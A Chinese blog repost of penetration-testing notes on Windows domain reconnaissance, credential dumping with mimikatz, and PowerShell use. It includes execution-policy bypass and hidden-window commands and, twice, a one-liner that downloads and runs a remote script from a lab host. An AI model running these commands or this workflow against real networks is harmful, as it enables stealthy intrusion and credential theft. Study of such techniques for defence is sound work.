内网安全信息收集与并发编程挑战:深入理解PowerShell脚本执行与域环境控制

这篇具有很好参考价值的文章主要介绍了内网安全信息收集与并发编程挑战:深入理解PowerShell脚本执行与域环境控制。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

判断是否在域环境下

我们可以通过 ipconfig /all 命令来判断是否在域环境下。例如:

PS C:\Users\月> ipconfig /all

Windows IP 配置

主机名 . . . . . . . . . . . . . : DESKTOP-LIUHT7O
主 DNS 后缀 . . . . . . . . . . . :

一般情况下,会有一个DNS服务器来解析。如果没有,那就代表不是在域环境下。如果有,那就是在域环境下。

定位域IP

我们可以通过 net time /domain 命令显示域控的网址。例如,拿到这个网址比如 baidu.com,然后通过 ping baidu.com 命令得出 IP。

定位域管理员账户

我们可以通过以下命令查询域管理员用户组和域管用户:

net group “domain admins” /domain 
net localgroup adminstrators /domain 
net group “domain controllers” /domain

以上命令分别用于查询域管理员用户组和域管用户,查看域管理员,以及查看域控 domain controllers(DC)。

域管理员 or 域控

内网安全,并发编程,PowerShell脚本执行

域内权限

在域内,组的概念是包含了许多用户。当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行了,这样可以提高工作效率。常见的组有:域本地组、全局组、通用组。

  • 域本地组:成员范围是所有的域,使用范围是自己所在的域。

  • 全局组:成员范围是自己所在的域,使用范围是所有的域。

  • 通用组:成员范围是所有的域,使用范围是所有的域。

我们还有一个叫做 A-G-DL-P 策略,它是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。其中,A 表示用户账号,G 表示全局组,U 表示通用组,DL 表示域本地组,P 表示资源权限。

控制主机判断

我们需要判断当前机器的角色、网络环境以及环境功能。内网横向移动最终就是拿下域控的权限,有了它就可以操作整个主机控制。

域渗透思路

我们可以通过域成员主机定位出域控制器IP和域管理员密码,利用域成员主机作为跳板,扩大渗透范围。利用域管理员可以登录域内任何成员主机的特性,定位出域管理员登录过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器,渗透整个内网。

本地主机和域成员主机

  • A 域成员:执行一些操作并且域控器设置了不允许安装,是会触发域控管理员的,然后会提示你输入管理员的账户密码才可以进行操作,例如 root/saber。

  • B 本地用户:不受影响,因为它不属于域成员,例如 my/saber,安装等其他操作均不受影响。

密码收集

域控安装系统或软件下发到其他主机上,会存在密码的通用性,如果默认密码没有更改,我们就可以利用这一点。我们可以使用 mimikatz 这个 windows 工具获取读取到他人登录过的痕迹,提权 system 使用密码工具进行抓取。如果读取不到,可能是因为 LSA 保护,LSA 保护可以防止未经授权的进程修改 LSA 进程的内存。

我们可以收集以下几种密码:

  • 系统密码

  • 浏览器密码

  • 数据库密码

代理和隧道

如果网络不可达,也就是说网络没有网,或者说限制的非常厉害,出不来,但是我们可以通过代理解决网络通讯问题,这和协议没有关系。如果协议不出网,我们可以使用隧道技术解决。

PowerShell

PowerShell 可以理解为 CMD 的高级版,CMD 可以做的时候 PowerShell 也可以完成,并且还可以做需要她做不到的事情。它是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。

PowerShell 的特点包括:

  • Windows 7 以上的操作系统默认安装

  • PowerShell 脚本可以运行在内存中,不需要写入磁盘

  • 可以从另一个系统中下载 PowerShell 脚本并执行

  • 目前很多工具都是基于 PowerShell 开发的

  • 很多安全软件检测不到 PowerShell 的活动

  • cmd 通常会被阻止运行,但是 PowerShell 不会

  • 可以用来管理活动目录

我们可以通过 Get-Host 或 $PSVersionTable 命令查看 PowerShell 版本。

内网安全,并发编程,PowerShell脚本执行

内网安全,并发编程,PowerShell脚本执行

ps1 文件

ps1 文件是 PowerShell 的脚本拓展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件。

执行策略

为了防止恶意脚本在 PowerShell 被运行,它存在一个执行策略,默认情况下它是受限模式,Restricted。我们可以通过 Get-ExecutionPolicy 命令查看当前执行策略。

内网安全,并发编程,PowerShell脚本执行

常见的执行策略包括:

  • Restricted:不能运行脚本

  • RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)

  • AllSigned:仅当脚本由受信任的发布者签名才能运行

  • Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名

我们可以使用 Set-Set-ExecutionPolicy 策略名设置执行策略,但是需要管理员权限。例如 Set-ExecutionPolicy Unrestricted。

内网安全,并发编程,PowerShell脚本执行

绕过本地策略执行

默认情况下,PowerShell 的执行策略是 Restricted 受限模式,导致我们在渗透测试中,需要采用方法绕过这个策略,执行我们的脚本文件。我们可以使用 -ExecutionPolicy Bypass 绕过受限。

例如:

cat .\t.ps1echo "Hello TeamsSix"
PS C:\Users\teamssix> PowerShell.exe -ExecutionPolicy Bypass -File t.ps1
hello TeamsSix

内网安全,并发编程,PowerShell脚本执行

绕过本地权限并隐藏执行

我们可以使用 -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 即可隐藏执行。

例如:

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.ps1

内网安全,并发编程,PowerShell脚本执行

下载远程脚本绕过权限并隐藏执行

我们可以使用以下命令下载远程脚本绕过权限并隐藏执行:

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
 -NonInteractive -NoProfile
 “IEX(New-Object Net.WebClient).DownloadString(‘http://172.16.214.1:8000/t.ps1’)”

运行脚本

运行方式和其他的Shell 基本一致,可以输入完整的路径,也可以到ps1文件所在目录运行

管道

PowerShell中的管道类似于linux中的管道,都是将前一个命令的输出作为另一个命令的输出,两个命令之间使用 '|'进行连接

Get-Process | Sort-Object ID

Get-Process: 用于获取当前系统中正在运行的进程列表。它返回进程的名称、ID、CPU使用情况
Sort-Object: 用于对输入的对象进行排序

所以二者使用管道符连接起来就是对当前进程进行排序,将前一个命令的输出组为另一个命令的输出

命令

新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value “hello”
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content test.txt
设置文件test.txt内容t:Set-Content test.txt -Value “hello”
给文件test.txt追加内容:Add-Content test.txt -Value “,word!”
清除文件test.txt内容:Clear-Content test.txt

内网安全,并发编程,PowerShell脚本执行

本地工作组收集

我们可以通过以下步骤收集本地工作组信息:

  1. 查看当前权限

PowerShell 脚本执行

PowerShell 脚本执行有一些特殊的策略和技巧。例如,我们可以通过以下命令绕过本地策略执行:

PowerShell.exe -ExecutionPolicy Bypass -File t.ps1

如果我们想要隐藏执行,我们可以使用 -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 参数:

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.ps1

如果我们想要下载远程脚本并绕过权限隐藏执行,我们可以使用以下命令:文章来源地址https://www.toymoban.com/news/detail-847956.html

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -Command "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"

到了这里,关于内网安全信息收集与并发编程挑战:深入理解PowerShell脚本执行与域环境控制的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 小迪学习笔记(内网安全)(常见概念和信息收集)

    DMZ同于存放不得不给外网访问的设备,与内网独立区分开,中间有一道防火墙,因此攻破web服务器并提权并不代表攻破了内网,还需要一系列操作才能攻到内网。当然,有部分公司的内网就处于web服务器,这样攻击成功web服务器就相当于攻击内网。 局域网 : 局域网(Local

    2024年03月27日
    浏览(24)
  • 并发编程之深入理解AQS

    目录 什么是AQS? AQS的特性 AQS总结 什么是AQS?        java.util.concurrent包中的大多数同步器实现都是围绕着共同的基础行为,比如等待队列、条件队列、独占获取、共享获取等,而这些行为的抽象就是基于AbstractQueuedSynchronizer(简称AQS)实现的,AQS是一个抽象同步框架,可以

    2024年01月23日
    浏览(22)
  • 深入理解并发编程艺术之内存模型

    随着硬件技术的飞速发展,多核处理器已经成为计算设备的标配,这使得开发人员需要掌握并发编程的知识和技巧,以充分发挥多核处理器的潜力。然而并发编程并非易事,它涉及到许多复杂的概念和原理。为了更好地理解并发编程的内在机制,需要深入研究内存模型及其在

    2024年02月14日
    浏览(25)
  • 【并发编程】深入理解Java并发之synchronized实现原理

    分析: 通过 new MyThread() 创建了一个对象 myThread ,这时候堆中就存在了共享资源 myThread ,然后对 myThread 对象创建两个线程,那么thread1线程和thread2线程就会共享 myThread 。 thread1.start() 和 thead2.start() 开启了两个线程,CPU会随机调度这两个线程。假如 thread1 先获得 synchronized 锁,

    2024年02月04日
    浏览(36)
  • 深入理解高并发编程 - 线程的执行顺序

    在Java中,线程的执行顺序是由操作系统的调度机制决定的,具体顺序是不确定的,取决于多个因素,如操作系统的调度策略、线程的优先级、线程的状态转换等。因此,不能对线程的执行顺序做出可靠的假设。 以下是一个简单的Java代码示例,演示了多个线程的执行顺序是不

    2024年02月14日
    浏览(29)
  • 深入理解高并发编程 - 深度解析ScheduledThreadPoolExecutor

    ScheduledThreadPoolExecutor 继承自 ThreadPoolExecutor 并实现了 ScheduledExecutorService 接口,这使得它可以同时充当线程池和定时任务调度器。 构造方法接收一个 corePoolSize 参数,它表示线程池中的核心线程数。核心线程是一直保持存活的线程,即使没有任务执行,以便支持定时任务的调

    2024年02月12日
    浏览(25)
  • 122、内网安全——域信息收集&应用网络凭据&CS插件&Adfind&BloodHound

    假设有1000台计算机,运维人员需要为每一台计算机进行软件的安装、环境部署,实际上运维人员不可能亲自对每一台计算机进行软件的安装和环境部署。实际,将所有1000台计算机放入一个域中,域内有一个域控,域控负责下发任务,统一管理。也就是说在域控上下发软件安

    2024年04月14日
    浏览(27)
  • 网络安全内网渗透之信息收集--systeminfo查看电脑有无加域

    systeminfo输出的内容很多,包括主机名、OS名称、OS版本、域信息、打的补丁程序等。 其中,查看电脑有无加域可以快速搜索: 输出结果为WORKGROUP,可见该机器没有加域: systeminfo的所有信息如下: C:UsersAdministratorsysteminfo 主机名:           USER-20210123NC OS 名称:          M

    2024年02月07日
    浏览(40)
  • JUC并发编程学习笔记(十八)深入理解CAS

    什么是CAS 为什么要学CAS:大厂你必须深入研究底层!有所突破! java层面的cas-------compareAndSet compareAndSet(int expectedValue, int newValue) 期望并更新,达到期望值就更新、否则就不更新! Unsafe类 java不能直接操作内存,但是可以调用c++,c++可以操作内存,java可以通过native定义

    2024年02月05日
    浏览(30)
  • 深入理解高并发编程 - 深度解析Thread 类的源码

    先看源码:Thread 类实现了 Runnable 接口 而 Runnable 被@FunctionalInterface 注解标记为函数式接口,Runnable 接口源代码 再来看看@FunctionalInterface 注解的源码 FunctionalInterface 用于标记类或接口是否是一个函数式接口,并在运行时可用于反射获取信息。 这段代码是 Thread 类的一个静态初

    2024年02月09日
    浏览(24)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包